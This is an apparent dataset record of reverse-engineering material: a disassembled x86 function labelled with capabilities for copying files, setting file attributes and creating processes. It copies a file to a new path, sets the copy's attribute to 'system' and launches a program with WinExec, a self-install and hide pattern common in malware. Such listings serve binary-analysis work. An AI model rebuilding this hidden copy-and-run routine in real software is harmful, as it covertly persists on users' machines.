Function at 0x4988f0
Capabilities:
Copy file
Create process on windows
Set file attributes

Disassembly:
push ebp
mov ebp, esp
mov ecx, 0x27
push 0
push 0
dec ecx
jne 0x4988f8
push ebx
push esi
push edi
xor eax, eax
push ebp
push 0x498bd4
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0xc]
mov edx, dword [0x4a0310]
mov edx, dword [edx]
call fcn.00404d24
mov eax, dword [ebp - 0xc]
call fcn.00409244
lea edx, [ebp - 8]
call fcn.00459248
mov eax, dword [ebp - 8]
push eax
lea eax, [ebp - 0x10]
mov edx, dword [0x4a06f0]
mov edx, dword [edx]
call fcn.00404d24
mov ecx, dword [ebp - 0x10]
lea eax, [ebp - 4]
pop edx
call fcn.00404e38
lea edx, [ebp - 0x14]
xor eax, eax
call fcn.00402b64
mov eax, dword [ebp - 0x14]
mov edx, dword [ebp - 4]
call fcn.00408e1c
test eax, eax
je 0x498ba9
xor eax, eax
push ebp
push 0x4989e6
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
call fcn.00409668
test al, al
je 0x4989af
mov eax, dword [ebp - 4]
call fcn.004098a0
mov eax, dword [ebp - 4]
call fcn.00409668
test al, al
je 0x4989af
xor eax, eax
call fcn.00404a90
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x498ba9
push 0
mov eax, dword [ebp - 4]
call fcn.00404fec
mov ebx, eax
push ebx
lea edx, [ebp - 0x18]
xor eax, eax
call fcn.00402b64
mov eax, dword [ebp - 0x18]
call fcn.00404fec
push eax
call sub.kernel32.dll_CopyFileA
push 4
push ebx
call sub.kernel32.dll_SetFileAttributesA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4989f0
xor eax, eax
push ebp
push 0x498b9a
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x118]
mov edx, dword [0x4a0684]
mov edx, dword [edx]
call fcn.00403858
lea eax, [ebp - 0x118]
mov edx, 0x498be4
xor ecx, ecx
mov cl, byte [eax]
inc ecx
call fcn.004031fc
jne 0x498b12
xor eax, eax
push ebp
push 0x498a62
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x11c]
mov edx, dword [0x4a0134]
mov edx, dword [edx]
call fcn.00404d24
mov eax, dword [ebp - 0x11c]
call fcn.0045c9e4
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x498a6c
push 0x3e8
call sub.kernel32.dll_Sleep_1
xor eax, eax
push ebp
push 0x498b08
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x120]
mov edx, dword [0x4a06d4]
mov edx, dword [edx]
call fcn.00404d24
mov eax, dword [ebp - 0x120]
push eax
lea eax, [ebp - 0x128]
call fcn.0045944c
mov ecx, dword [ebp - 0x128]
lea eax, [ebp - 0x124]
mov edx, dword [ebp - 4]
call fcn.00404e38
mov eax, dword [ebp - 0x124]
push eax
lea eax, [ebp - 0x12c]
mov edx, dword [0x4a0568]
mov edx, dword [edx]
call fcn.00404d24
mov eax, dword [ebp - 0x12c]
push eax
lea eax, [ebp - 0x130]
mov edx, dword [0x4a0134]
mov edx, dword [edx]
call fcn.00404d24
mov eax, dword [ebp - 0x130]
pop edx
pop ecx
call fcn.0045c87c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x498b12
lea edx, [ebp - 0x134]
mov eax, 1
call fcn.00402b64
cmp dword [ebp - 0x134], 0
jne 0x498b3b
push 0
mov eax, dword [ebp - 4]
call fcn.00404fec
push eax
call sub.kernel32.dll_WinExec
lea eax, [ebp - 0x118]
mov edx, dword [0x4a0330]
mov edx, dword [edx]
call fcn.00403858
lea eax, [ebp - 0x118]
mov edx, 0x498be4
xor ecx, ecx
mov cl, byte [eax]
inc ecx
call fcn.004031fc
jne 0x498b83
lea edx, [ebp - 0x138]
mov eax, 1
call fcn.00402b64
cmp dword [ebp - 0x138], 0
jne 0x498b83
call fcn.00458914
call fcn.004049b8
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x498ba9
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x498bdb
lea eax, [ebp - 0x138]
mov edx, 8
call fcn.00404b50
lea eax, [ebp - 0x18]
mov edx, 6
call fcn.00404b50
ret